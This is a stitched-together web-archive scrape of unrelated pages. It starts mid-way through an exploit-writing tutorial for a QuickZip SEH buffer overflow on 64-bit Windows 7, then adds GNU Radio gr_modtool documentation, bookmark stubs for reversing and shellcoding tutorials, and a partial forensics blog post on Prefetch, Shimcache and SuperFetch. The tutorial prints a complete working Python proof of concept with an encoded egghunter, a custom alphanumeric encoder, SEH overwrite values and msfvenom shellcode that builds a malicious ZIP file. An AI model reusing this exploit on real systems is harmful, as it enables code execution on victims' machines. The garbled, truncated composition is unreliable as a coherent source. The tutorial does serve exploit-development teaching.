7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev"
    payload += ".txt"
    print "[+] Length = " + str(len(payload))
    exploit = header_1 + payload + header_2 + payload + header_3
    mefile = open('cst.zip','w');
    mefile.write(exploit);
    mefile.close()
    print "[+] Exploit complete!"
    
[/code]  
---|---  
And that’s how it looks after execution:

Fantastic, we have successfully written code that we want using only valid
characters\! All that’s left to do now is to jump back to that area to get it
executed. We’ll also need to change our temporary `0xDEADBEEF` address that we
have written to the actual offset once we know what it is… but that’s at the
end.

## Jumping around

Unfortunately we don’t have much space to jump around. Only **5** bytes after
our custom encoder code and **4** bytes before the encoder code. We need to
come up with instructions that will get us to the code we have just written.

Turns out, there’s actually not much that we can do due to the character
restriction. Any short backward jumps contain invalid characters and don’t get
us where we need to be. Also, if we were to reuse the jump we took before…
hang on… the jump we used before…. hmmmm.

Have a look at the payload we currently have.

We need to get creative. Let’s reuse the `JNO` jump back we already have in
our SEH to put us back again in the area we control. At the very beginning of
the encoder payload that we currently have, we’ll add some NOPs that will be
then overwritten with another jump back instruction by our custom encoder to
put us before the code we have just recently written.

Phew, hope it makes sense? Let me explain.

The jump we’ll need to use will be simply `JMP $-16` \(`\xeb\xee`\),
unfortunately it contains invalid characters and it won’t work for us…. any
jump with valid characters will put us too far ‘up’.

However\! We can write it using the encoder we already have, exactly the same
way we’ve done it for putting address of egghunter to `EAX` \- we’ll just need
to adjust our offsets and modify code a little bit.

First of all, instead of those few NOPs that we were writing using our
encoder, we’ll add our `JMP` instruction. Secondly, we’ll need to modify our
initial stack adjustment to land exactly where the SEH jump will initialy take
us. Lastly, we’ll add some NOPs that will be overwritten at the very beginning
of the encoder. A lot to take in, but let’s see how it works in action -
hopefully it’ll be clearer.

Let’s start with NOPs before our custom encoder. Since we need to use valid
character set, we can use `\x41\x41` \(`INC ECX`\) as our NOPs.

Next, stack adjustment. Looking at current state, it appears that we’ll need
to offset it **6** bytes further to start writing into the area we want to
overwrite. Let’s make that change as well.

Lastly, we’ll need to write the `JNZ $-16` \(`\x75\xee`\) instruction with our
encoder. Let’s just replace last two `\x90` with the new instruction
\(remembering about little-endianness and that we need to write it in
reverse\).

Putting it all together, the changes should look like this:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    
[/code]

|

[code]

    #...snip...
    nseh_offset = 292
    jump_offset = 92
    #...snip...
    payload = egghunter
    payload += "A" * (nseh_offset - len(payload) - jump_offset)    # padding for nSEH
    payload += "\x41\x41"   # INC ECX (acts as NOPs, but using valid character set)
    # Offset the stack by 0x632 to start writing to a controlled area of memory
    #
    payload += "\x54"                   # push esp;
    payload += "\x58"                   # pop eax;
    payload += "\x05\x33\x07\x01\x01"   # add eax, 0x01010733
    payload += "\x2d\x01\x01\x01\x01"   # sub eax, 0x01010101
    payload += "\x50"                   # push eax;
    payload += "\x5c"                   # pop esp;
    # Write instructions for: push esp; pop eax; sub eax, 0xDEADBEEF; jmp eax; jnz 0xee
    #
                                        # Zero-out EAX
    payload += "\x25\x01\x01\x01\x01"   # and eax,0x01010101
    payload += "\x25\x10\x10\x10\x10"   # and eax,0x10101010
                                           # write 0xee7590e0 into EAX  ==>> '0xee75' represents 'JNZ $-16' instruction
    payload += "\x05\x70\x70\x74\x77"   # add eax, 0x77747070
    payload += "\x05\x70\x20\x01\x77"   # add eax, 0x77012070
    payload += "\x50"                   # push eax;
                                        # Zero-out EAX
    payload += "\x25\x01\x01\x01\x01"   # and eax,0x01010101
    payload += "\x25\x10\x10\x10\x10"   # and eax,0x10101010
                                           # write 0xffdeadbe into EAX
    payload += "\x05\x77\x77\x77\x77"   # add eax, 0x77777777
    payload += "\x05\x37\x25\x57\x77"   # add eax, 0x77572537
    payload += "\x05\x10\x11\x10\x11"   # add eax, 0x11101110
    payload += "\x50"                   # push eax;
                                        # Zero-out EAX
    payload += "\x25\x01\x01\x01\x01"   # and eax,0x01010101
    payload += "\x25\x10\x10\x10\x10"   # and eax,0x10101010
                                           # write 0xef2d5854 into EAX
    payload += "\x05\x43\x47\x1c\x77"   # add eax, 0x771c4743
    payload += "\x05\x10\x10\x01\x77"   # add eax, 0x77011010
    payload += "\x05\x01\x01\x10\x01"   # add eax, 0x01100101
    payload += "\x50"                   # push eax;
    payload += "A" * (nseh_offset - len(payload))       # padding for the rest of the encoder
    payload += "\x71\x9b\x70\x9b"       # nSEH: jno $-99; jo $-99   => '9b' will actually be converted to 'a2', which is $-92
    payload += "\x33\x28\x42\x00"       # SEH
    #...snip...
    
[/code]  
---|---  
Once we execute it, the following should happen:

  1. Crash is triggered
  2. _POP-POP-RET_ instructions are called
  3. Backwards jump `JNO $-92` is taken
  4. Execution of custom encoder starts
  5. The code will eventually reach `JNO` instruction from step 3
  6. `JNO` jump is taken again, but this time, the first instruction we land at is the newly written jump back by **16** bytes
  7. Jump is taken
  8. Instructions written using the custom encoder will execute

Let’s see if that’s what really happens.

Awesome, exactly what we expected\! Now we just need to figure out what value
to replace `0xDEADBEEF` with and we’re pretty much done\!

Let’s calculate it - current value of `ESP` is `0x0018FB4E` and our egghunter
code starts at `0x0018FA90`, this means that we need to offset EAX by `0xBE`
to have `EAX` pointing where we need it to.

Let’s modify our exploit to instead of subtracting `0xDEADBEEF` from `EAX`,
we’ll only take away `0xBE`. The following changes should be made to the PoC:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    
[/code]

|

[code]

    # Zero-out EAX
    payload += "\x25\x01\x01\x01\x01"   # and eax,0x01010101
    payload += "\x25\x10\x10\x10\x10"   # and eax,0x10101010
                                           # write 0xff000000 into EAX
    payload += "\x05\x01\x01\x01\x77"   # add eax, 0x77010101
    payload += "\x05\x01\x01\x01\x77"   # add eax, 0x77010101
    payload += "\x05\x10\x10\x10\x22"   # add eax, 0x22101010
    payload += "\x2d\x12\x12\x12\x11"   # sub eax, 0x11121212
    payload += "\x50"                   # push eax;
                                        # Zero-out EAX
    payload += "\x25\x01\x01\x01\x01"   # and eax,0x01010101
    payload += "\x25\x10\x10\x10\x10"   # and eax,0x10101010
                                           # write 0xbe2d5854 into EAX
    payload += "\x05\x43\x47\x1c\x67"   # add eax, 0x671c4743
    payload += "\x05\x11\x11\x11\x57"   # add eax, 0x57111111
    payload += "\x50"                   # push eax;
[/code]  
---|---  
Let’s run it and see where it gets us.

AWESOME\! We landed in our egghunter. Now it should be as easy as inserting
shellcode of our choice and letting egghunter find it.

Let’s run `!mona findmsp` just in case to see if our payload is still there in
memory…

What?\! It disappeared\! Where did it go? What happened? All that work for
nothing????

**_fast-forward a couple of hours_**

Ok, I know what happens. The instruction we added at the very beginning of our
custom encoding routine breaks the payload and makes our shellcode disappear.
Instruction at fault is `POP ESP` \(`\x5c`\) - the same byte from before that
made our filename to be interpreted as a directory\!

I spent a lot of time thinking, debugging and trying to come up with an
alternative that doesn’t break the payload, but with no luck. We simply don’t
have anything we could use in this case that uses valid character set.

However, there is a solution\! Maybe not the prettiest, but there is. Have a
look at the following line in our exploit:

[code]

    1
    
[/code]

|

[code]

    exploit = header_1 + payload + header_2 + payload + header_3
    
[/code]  
---|---  
What if we add payload once again after the header\_3? It’ll basically append
some garbage at the end of the ZIP file, but it should still work. Let’s give
it a shot\!

Modify the line as follows and open it us with QuickZip.

[code]

    1
    
[/code]

|

[code]

    exploit = header_1 + payload + header_2 + payload + header_3 + payload
    
[/code]  
---|---  
There’s a warning displayed that there’s some garbage at the end of the file,
but that’s OK, it appears that we can still successfully open the file.

Let’s trigger the crash and see once again if, this time, we can find the
pattern in memory.

Hurray\!\!\! It’s there\!\!\! Now it should be all nice and easy.

## Shellcode

Now we just need to follow the usual process of setting up the payload for
shellcode - we need to figure out bad characters, insert an “egg”
\(`w00tw00t`\) before the shellcode and align the stack.

I won’t go into the details of finding bad characters as I already covered it
in details here. Luckily for us, the only bad characters for this part of
payload are `\x00`, `\x0a` and `\x0d`.

We also need to insert `w00tw00t` characters at the very beginning of our
shellcode to ensure that the egghunter can locate it and redirect execution to
first instructions after the “egg”.

Lastly, we’ll need to align the stack to make sure `ESP` points to an address
which is a multiple of 16 bytes. The reason for this is that there are some
“SIMD” \(Single Instruction, Multiple Data\) instructions which can perform
parallel operations on multiple words in memory, but require those multiple
words to be a block starting at an address which is a multiple of 16 bytes.

If we didn’t align the stack properly, the shellcode simply wouldn’t work. We
can easily align the stack with a single instruction `AND esp,0xFFFFFFF0`,
which we’ll add right behind the `w00tw00t` egg and before the actual
shellcode.

For PoC, we’ll use `msfvenom` to generate a simple, `calc` popping shellcode.
To sum it all up, the shellcode code will look as follows:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    
[/code]

|

[code]

    shellcode = "w00tw00t"                     # egg
    shellcode += "\x81\xe4\xf0\xff\xff\xff"    # align the stack: AND esp,0xFFFFFFF0
    # msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a\x0d'
    # [*] x86/shikata_ga_nai succeeded with size 227 (iteration=1)
    shellcode += ("\xbf\xdc\xae\x26\x3d\xda\xdd\xd9\x74\x24\xf4\x5b\x31\xc9"
    "\xb1\x33\x31\x7b\x12\x03\x7b\x12\x83\x37\x52\xc4\xc8\x3b"
    "\x43\x80\x33\xc3\x94\xf3\xba\x26\xa5\x21\xd8\x23\x94\xf5"
    "\xaa\x61\x15\x7d\xfe\x91\xae\xf3\xd7\x96\x07\xb9\x01\x99"
    "\x98\x0f\x8e\x75\x5a\x11\x72\x87\x8f\xf1\x4b\x48\xc2\xf0"
    "\x8c\xb4\x2d\xa0\x45\xb3\x9c\x55\xe1\x81\x1c\x57\x25\x8e"
    "\x1d\x2f\x40\x50\xe9\x85\x4b\x80\x42\x91\x04\x38\xe8\xfd"
    "\xb4\x39\x3d\x1e\x88\x70\x4a\xd5\x7a\x83\x9a\x27\x82\xb2"
    "\xe2\xe4\xbd\x7b\xef\xf5\xfa\xbb\x10\x80\xf0\xb8\xad\x93"
    "\xc2\xc3\x69\x11\xd7\x63\xf9\x81\x33\x92\x2e\x57\xb7\x98"
    "\x9b\x13\x9f\xbc\x1a\xf7\xab\xb8\x97\xf6\x7b\x49\xe3\xdc"
    "\x5f\x12\xb7\x7d\xf9\xfe\x16\x81\x19\xa6\xc7\x27\x51\x44"
    "\x13\x51\x38\x02\xe2\xd3\x46\x6b\xe4\xeb\x48\xdb\x8d\xda"
    "\xc3\xb4\xca\xe2\x01\xf1\x25\xa9\x08\x53\xae\x74\xd9\xe6"
    "\xb3\x86\x37\x24\xca\x04\xb2\xd4\x29\x14\xb7\xd1\x76\x92"
    "\x2b\xab\xe7\x77\x4c\x18\x07\x52\x2f\xff\x9b\x3e\x9e\x9a"
    "\x1b\xa4\xde")
    
[/code]  
---|---  
And the final PoC code covering everything discussed so far should look like
this:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    
[/code]

|

[code]

    #!/usr/bin/python
    header_1 = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00")
    header_2 = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00"
    "\x24\x00\x00\x00\x00\x00\x00\x00")
    header_3 = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
    "\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00")
    print "[+] Building PoC.."
    max_size = 4064
    nseh_offset = 292
    jump_offset = 92
    # msfencode -e x86/alpha_mixed bufferregister=eax -i egghunter-wow64.bin
    # [*] x86/alpha_mixed succeeded with size 146 (iteration=1)
    egghunter = ("\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
    "\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
    "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42"
    "\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x66\x51\x49\x4b"
    "\x52\x73\x53\x63\x62\x73\x36\x33\x4e\x53\x6f\x30\x75\x36"
    "\x6d\x51\x59\x5a\x49\x6f\x36\x6f\x72\x62\x71\x42\x42\x4a"
    "\x66\x46\x56\x38\x74\x73\x78\x49\x4c\x4b\x4b\x64\x61\x74"
    "\x49\x6f\x47\x63\x31\x4e\x50\x5a\x77\x4c\x77\x75\x53\x44"
    "\x49\x79\x38\x38\x52\x57\x36\x50\x50\x30\x33\x44\x6c\x4b"
    "\x59\x6a\x4e\x4f\x32\x55\x38\x64\x4e\x4f\x70\x75\x6b\x51"
    "\x6b\x4f\x79\x77\x41\x41")
    payload = egghunter
    payload += "A" * (nseh_offset - len(payload) - jump_offset) # padding for nSEH
    payload += "\x41\x41"   # INC ECX (acts as NOPs, but with valid character set)
    # Offset the stack by 0x632 to start writing to a controlled area of memory
    #
    payload += "\x54"                   # push esp;
    payload += "\x58"                   # pop eax;
    payload += "\x05\x33\x07\x01\x01"   # add eax, 0x01010733
    payload += "\x2d\x01\x01\x01\x01"   # sub eax, 0x01010101
    payload += "\x50"                   # push eax;
    payload += "\x5c"                   # pop esp;
    # Write instructions for: push esp; pop eax; sub eax, 0xBE; jmp eax; jmp 0xee
    #
                                        # Zero-out EAX
    payload += "\x25\x01\x01\x01\x01"   # and eax,0x01010101
    payload += "\x25\x10\x10\x10\x10"   # and eax,0x10101010
                                           # write 0xeceb90e0 into EAX
    payload += "\x05\x70\x70\x77\x77"   # add eax, 0x77777070
    payload += "\x05\x70\x20\x74\x77"   # add eax, 0x77742070
    payload += "\x50"                   # push eax;
                                        # Zero-out EAX
    payload += "\x25\x01\x01\x01\x01"   # and eax,0x01010101
    payload += "\x25\x10\x10\x10\x10"   # and eax,0x10101010
                                           # write 0xff000000 into EAX
    payload += "\x05\x01\x01\x01\x77"   # add eax, 0x77010101
    payload += "\x05\x01\x01\x01\x77"   # add eax, 0x77010101
    payload += "\x05\x10\x10\x10\x22"   # add eax, 0x22101010
    payload += "\x2d\x12\x12\x12\x11"   # sub eax, 0x11121212
    payload += "\x50"                   # push eax;
                                        # Zero-out EAX
    payload += "\x25\x01\x01\x01\x01"   # and eax,0x01010101
    payload += "\x25\x10\x10\x10\x10"   # and eax,0x10101010
                                           # write 0xbe2d5854 into EAX
    payload += "\x05\x43\x47\x1c\x67"   # add eax, 0x671c4743
    payload += "\x05\x11\x11\x11\x57"   # add eax, 0x57111111
    payload += "\x50"                   # push eax;
    payload += "A" * (nseh_offset - len(payload))    # padding for the rest of encoder
    payload += "\x71\x9b\x70\x9b"       # nSEH: jno $-99; jo $-99   => '9b' will actually be converted to 'a2', which is $-92
    payload += "\x33\x28\x42\x00"       # SEH
    shellcode = "w00tw00t"                     # egg
    shellcode += "\x81\xe4\xf0\xff\xff\xff"    # align the stack: AND esp,0xFFFFFFF0
    # msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a\x0d'
    # [*] x86/shikata_ga_nai succeeded with size 227 (iteration=1)
    shellcode += ("\xbf\xdc\xae\x26\x3d\xda\xdd\xd9\x74\x24\xf4\x5b\x31\xc9"
    "\xb1\x33\x31\x7b\x12\x03\x7b\x12\x83\x37\x52\xc4\xc8\x3b"
    "\x43\x80\x33\xc3\x94\xf3\xba\x26\xa5\x21\xd8\x23\x94\xf5"
    "\xaa\x61\x15\x7d\xfe\x91\xae\xf3\xd7\x96\x07\xb9\x01\x99"
    "\x98\x0f\x8e\x75\x5a\x11\x72\x87\x8f\xf1\x4b\x48\xc2\xf0"
    "\x8c\xb4\x2d\xa0\x45\xb3\x9c\x55\xe1\x81\x1c\x57\x25\x8e"
    "\x1d\x2f\x40\x50\xe9\x85\x4b\x80\x42\x91\x04\x38\xe8\xfd"
    "\xb4\x39\x3d\x1e\x88\x70\x4a\xd5\x7a\x83\x9a\x27\x82\xb2"
    "\xe2\xe4\xbd\x7b\xef\xf5\xfa\xbb\x10\x80\xf0\xb8\xad\x93"
    "\xc2\xc3\x69\x11\xd7\x63\xf9\x81\x33\x92\x2e\x57\xb7\x98"
    "\x9b\x13\x9f\xbc\x1a\xf7\xab\xb8\x97\xf6\x7b\x49\xe3\xdc"
    "\x5f\x12\xb7\x7d\xf9\xfe\x16\x81\x19\xa6\xc7\x27\x51\x44"
    "\x13\x51\x38\x02\xe2\xd3\x46\x6b\xe4\xeb\x48\xdb\x8d\xda"
    "\xc3\xb4\xca\xe2\x01\xf1\x25\xa9\x08\x53\xae\x74\xd9\xe6"
    "\xb3\x86\x37\x24\xca\x04\xb2\xd4\x29\x14\xb7\xd1\x76\x92"
    "\x2b\xab\xe7\x77\x4c\x18\x07\x52\x2f\xff\x9b\x3e\x9e\x9a"
    "\x1b\xa4\xde")
    payload += shellcode
    payload += "A" * (max_size - len(payload))    # padding
    payload += ".txt"
    print "[+] Length = " + str(len(payload))
    exploit = header_1 + payload + header_2 + payload + header_3 + payload
    mefile = open('cst.zip','w');
    mefile.write(exploit);
    mefile.close()
    print "[+] Exploit complete!"
    
[/code]  
---|---  
When we launch the generated `cst.zip` file, our exploit will run and after
several seconds \(as the egghunter goes through the application’s memory to
locate the “egg”\) we should see the calculator binary open.

Success\!\!

## Summary

That was pretty much it - we have successfully recreated the QuickZip exploit
to work on 64 bit Windows 7\!

To sum it up, we achieved this by creating an egghunter exploit using very
limited allowed character set \(pretty much ASCII printable\), wrote our own
encoder and jumped around the memory to get to the egghunter code and
eventually the shellcode.

Few things to keep in mind:

  * find out what characters you’re allowed to use and keep that in mind when errors occur
  * do not get discouraged if the buffer size is not sufficient - get creative\!
  * make sure you use correct egghunter code \(32 bit vs. 64 bit\) depending on a platform you’re developing an exploit for
  * writing own encoder is not that hard, but it takes lots of practice and patience
  * make sure to align the stack before executing shellcode

Anyway, hope you found it useful\! As always, if you have any
questions/ideas/suggestions or just wanna chat infosec, feel free to comment
below or hit me up on Twitter @TheKnapsy or IRC \(mainly **\#vulnhub** on
freenode\).

  

# devtools – The Comprehensive GNU Radio Archive Network \(CGRAN\)

**Created:**| _1/31/2012 7:44:45 PM_  
---|---  
**Updated:**| _1/31/2012 7:45:15 PM_  
**Author:**| __  
**Tags:**| _Gnuradio rapid_  
  

# Development Tools

Contributors: Martin Braun

Do you have any tools for editing GNU Radio? Don't hesitate to add them here\!

Project Root: gr-modtool has moved to github:  https://github.com/mbant/gr-
modtool

The old SVN is still here, e.g. if you want the autotools version of
gr\_modtool.py: /projects/devtools

GNU Radio Compatibility:

  * gr\_modtools.py requires out-of-tree modules to have the newest CMake dir structure \(with include/\) 

  

## Disclaimer

Wherever scripts change files, there is no guarantee that no damage will
occur. Use at your own risk. Make sure you use backups. Use at your own risk.
Use at your own risk.

## Project Description

This project aims to provide tools, helper, scripts and scriplets to aid the
development of GNU Radio.

### gr\_modtool.py

This is a script which aims to help working with out-of-tree modules. It works
with CMake and the directory structure introduced end of 2011 \(which has the
include/ subdirectory\). There is also an older version which works with
modules that have the directory structure introduced in 3.3.0, i.e. having
lib/, python/, swig/ and grc/ subdirs on the top level.

#### How To Install

gr\_modtool.py simply needs to be copied somewhere in the system's search
path. You can simply copy the newest revision from  here.

#### Usage

Run

[code]

    gr_modtool.py help
    
[/code]

for a list of commands. This is what you might see:

[code]

    % gr_modtool.py help                                                                                                  
    Usage:
    gr_modtool.py <command> [options] -- Run <command> with the given options.
    gr_modtool.py help -- Show a list of commands.
    gr_modtool.py help <command> -- Shows the help for a given command. 
    
    List of possible commands:
    
    Name      Aliases          Description
    =====================================================================
    remove    rm,del           Remove block (delete files and remove Makefile entries) 
    add       insert           Add block to the out-of-tree module. 
    newmod    nm,create        Create a new out-of-tree module 
    
[/code]

As you can see, three commands are implemented. To find out more about them,
use the help command again:

[code]

    % gr_modtool.py help add
    Usage: gr_modtool.py add [options].
     Call gr_modtool.py without any options to run it interactively.
    
    Options:
      General options:
        -h, --help          Displays this help message.
        -d DIRECTORY, --directory=DIRECTORY
                            Base directory of the module.
        -n MODULE_NAME, --module-name=MODULE_NAME
                            Name of the GNU Radio module. This is normally
                            autodetected from Makefile.common.
        -N BLOCK_NAME, --block-name=BLOCK_NAME
                            Name of the block, minus the module name prefix.
        --skip-lib          Don't do anything in the lib/ subdirectory.
        --skip-swig         Don't do anything in the swig/ subdirectory.
        --skip-python       Don't do anything in the python/ subdirectory.
        --skip-grc          Don't do anything in the grc/ subdirectory.
    
      Add module options:
        -t BLOCK_TYPE, --block-type=BLOCK_TYPE
                            One of sink, source, sync, decimator, interpolator,
                            general, hiercpp, hierpython, impl.
        --license-file=LICENSE_FILE
                            File containing the license header for every source
                            code file.
        --argument-list=ARGUMENT_LIST
                            The argument list for the constructor and make
                            functions.
        --add-python-qa     If given, Python QA code is automatically added if
                            possible.
        --add-cpp-qa        If given, C++ QA code is automatically added if
                            possible.
    
[/code]

Using the 'add' command, you can quickly add code to your module, e.g. a
block. gr\_modtool.py will create skeleton code where necessary and edit the
cmakefiles accordingly.

Example: You would like to add a hierarchical block in the C++-Domain,
including QA-Code and Python bindings. This is what you could see:

[code]

    % gr_modtool.py add                                                                                            
    Operating in directory .
    GNU Radio module name identified: howto
    Enter code type: hiercpp
    Code is of type: hiercpp
    Enter name of block/code (without module name prefix): newdsp_cc
    Block/code identifier: newdsp_cc
    Full block/code identifier is: howto_newdsp_cc
    Enter valid argument list, including default arguments: int val1, double val2=0
    Add Python QA code? [Y/n] n
    Add C++ QA code? [Y/n] 
    Traversing lib...
    Adding file 'howto_newdsp_cc.h'...
    Adding file 'howto_newdsp_cc.cc'...
    Adding file 'qa_howto_newdsp_cc.cc'...
    Traversing swig...
    Editing swig/howto_swig.i...
    Traversing grc...
    Adding file 'howto_newdsp_cc.xml'...
    Editing grc/CMakeLists.txt...
    
[/code]

That's it - now you only have to fill in the blanks. Note the newly created
code will, by design, **not compile** before you make it work.

Similarly, the 'remove' command can be used to kill blocks from the tree and
remove all Makefile entries. This will physically remove files, so be careful.
The default is to ask before doing anything, but this can be overridden.
gr\_modtool.py uses some dumb logic \(or rather, educated guesses\) to find
CMakefile entries, there is no guarantee all of them will be removed.

Example:

[code]

    % gr_modtool.py rm -p newdsp                                                                                   
    Operating in directory .
    GNU Radio module name identified: howto
    Searching for matching files in lib/:
    Really delete lib/howto_newdsp_cc.cc? [Y/n/a/q]: a
    Deleting lib/howto_newdsp_cc.cc.
    Deleting occurrences of howto_newdsp_cc.cc from lib/CMakeLists.txt...
    Deleting lib/qa_howto_newdsp_cc.cc.
    Deleting occurrences of qa_howto_newdsp_cc.cc from lib/CMakeLists.txt...
    Searching for matching files in include/:
    Really delete include/howto_newdsp_cc.h? [Y/n/a/q]: a
    Deleting include/howto_newdsp_cc.h.
    Deleting occurrences of howto_newdsp_cc.h from include/CMakeLists.txt...
    Searching for matching files in python/:
    None found.
    Searching for matching files in grc/:
    Really delete grc/howto_newdsp_cc.xml? [Y/n/a/q]: a
    Deleting grc/howto_newdsp_cc.xml.
    Deleting occurrences of howto_newdsp_cc.xml from grc/CMakeLists.txt...
    
[/code]

You can also use this script to create a new module, like the create-out-of-
tree script did for the autotools version:

[code]

    % gr_modtool.py create mycoolstuff                                                                                    
    Module directory is "./gr-mycoolstuff".
    Creating directory...
    Copying howto example...
    Unpacking...
    Replacing occurences of 'howto' to 'mycoolstuff'...
    Done.
    Use 'gr_modtool add' to add a new block to this currently empty module.
[/code]

# ReVeRsInG by Lena151 « Reverse Engineering b10g | REM
**Created:**| _12/27/2010 8:42:52 AM_  
---|---  
**Updated:**| _12/27/2010 8:42:57 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  
ReVeRsInG by Lena151

# Exploit writing tutorial part 9 : Introduction to Win32 shellcoding

**Created:**| _3/27/2010 9:25:18 AM_  
---|---  
**Updated:**| _3/27/2010 9:25:57 AM_  
**Author:**| __  
**Tags:**| _shellcode bookmark Exploit Tutorials awesome_  
  
<img src='img/Temp2_2980' />

# CrowdResponse Application Execution Modules Released » Adversary Manifesto

**Created:**| _1/19/2015 6:58:53 PM_  
---|---  
**Updated:**| _1/19/2015 6:58:53 PM_  
**Author:**| __  
**Tags:**| __  
  

# CrowdResponse Application Execution Modules Released

As the user base of CrowdResponse multiplies, we see a steady stream of
requests from active users. Many use the tool for its excellent YARA scanning
capabilities and are starting to include additional data collection modules
into their live response process. Predictably, the collection of Windows
Prefetch data has been a common request. Tracking application execution is a
cornerstone of incident response forensics. Knowing what an attacker or
malicious insider has been running on a system is a common pivot point for
revealing additional malicious activity. This can lead to evidence of malware
and backdoor execution, credential dumping, data collection and exfiltration,
and even files and folders accessed.

While Prefetch is the most commonly used application execution artifact, it is
by no means the only avenue to gather this information. In fact, some
adversaries regularly remove Prefetch in an attempt to frustrate forensic
analysis. Alternate application execution artifacts like Shimcache and
SuperFetch can often fill whatever gaps are left when Prefetch is missing.
Hence our tool dev guru Robin Keir bundled three modules into this month’s
release of CrowdResponse. Together, they provide incident response collection
capabilities that we have seen nowhere else.

**Prefetch**  
Modern Windows workstations use the Prefetcher Service to identify frequently
used applications and preemptively cache data used by the application to speed
up load times. On XP and Win7, the last 128 applications run are recorded.
Microsoft doubled down in Windows 8 and now records the last 1024 applications
executed. Prefetch also records files accessed by the given application within
the first ten seconds of execution. While commonly overlooked, this
information can be a trove of data leading to additional malware like
supporting DLLs and dropper files, accessed documents, output data like
keylogs, and even files accessed from removable media.

The Prefetch module for CrowdResponse collects the following information from
XP, Windows 7 and Windows 8 systems:

  * Application Name –> Application name
  * Full Path of files accessed by the application –> Full path
  * Run Count –> Run count
  * Last time executed \(supports the eight timestamps available in Windows 8\)

**@Prefetch \[-svx\] \[ <dir>\]**  
-s Recursive listing  
-e Force treating pf files as if from Windows 8  
-v Force treating pf files as if from Vista or Windows 7  
-x Force treating pf files as if from XP
<dir> Start directory. Default is %SystemRoot%\Prefetch

To demonstrate Prefetch analysis, we thought it would be interesting to show
data from a system compromised with the recent 0-day privilege execution
attack CVE-2014-4113. As described by Dmitri Alperovitch in this post, the
attack consisted of a file named win64.exe. This malware was designed to be
run from the CLI and is regularly captured by Prefetch.

<img src='img/Temp2_1684.jpg' alt='PrefetchOut' />

In this example, we see the executable win64.exe \(subsequently determined to
be using CVE-2014-4113\) present in the Windows Prefetch output with an
execution count of two. This specific malware sample required the tool to
elevate the privileges of another application. In this case the time proximity
of a second Prefetch file for cmd.exe indicates it was almost certainly part
of the command executed by Win64.exe.

**Shimcache**  
Otherwise known as the Windows Application Compatibility Database, Shimcache
was documented by Alex Ionescu in 2007, but didn’t find its way into the
forensics vernacular until much later. The Application Compatibility Database
contains records of applications that have been executed along with
information on “shims” to assist with applications requiring backwards
compatibility support. The database is stored in the Windows Registry making
it difficult to collect through standard incident response scripts. The
Shimcache module for CrowdResponse simplifies collection from live systems and
provides the following information from XP, Windows 7 and Windows 8 systems:

  * Full path of executable
  * Modified and updated timestamps \(when available per operating system type\)
  * Executed flag

MD5 and SHA256 hashes of binary on disk \(when still available\)

**@Shim \[-hm\]**  
-h Compute SHA256 hash of binary on disk  
-m Compute MD5 hash of binary on disk
<img src='img/Temp2_1680.jpg' alt='Shim_win64' />

Even if the adversaries in this example were to have cleared Prefetch, the
Shimcache nicely recorded win64.exe activity. The hash values provided by this
module are extremely valuable as they allow a massive amount of data to be
culled via known good and known bad databases. This is particularly valuable
when run at scale as you can start to identify anomalies like sethc
replacement or perhaps focus on executables in the output that we no longer
found on disk \(an Error value is returned\). This last point is particularly
useful – if the plugin does not return a hash it means it was unable to find
the corresponding file on disk and hence you shouldn’t waste your time trying
to find it in the allocated file system. In this case, the corresponding hash
of win64.exe allowed us to quickly match it with an already analyzed sample,
providing rapid validation.

**SuperFetch**  
With attackers increasingly taking steps to hide activity, it is always nice
to have a selection of artifacts to rely upon. SuperFetch is one of the least
used application execution artifacts in Windows, largely because of the dearth
of tools able to successfully parse the format. It tracks “performance
scenarios” in Windows Vista and above and is specifically designed to
anticipate frequently run applications after system activity like standby
mode, hibernation, and fast-user switching. While the entire range of
SuperFetch databases have not been fully mapped, this plugin provides the
following information from the AgAppLaunch.db file:

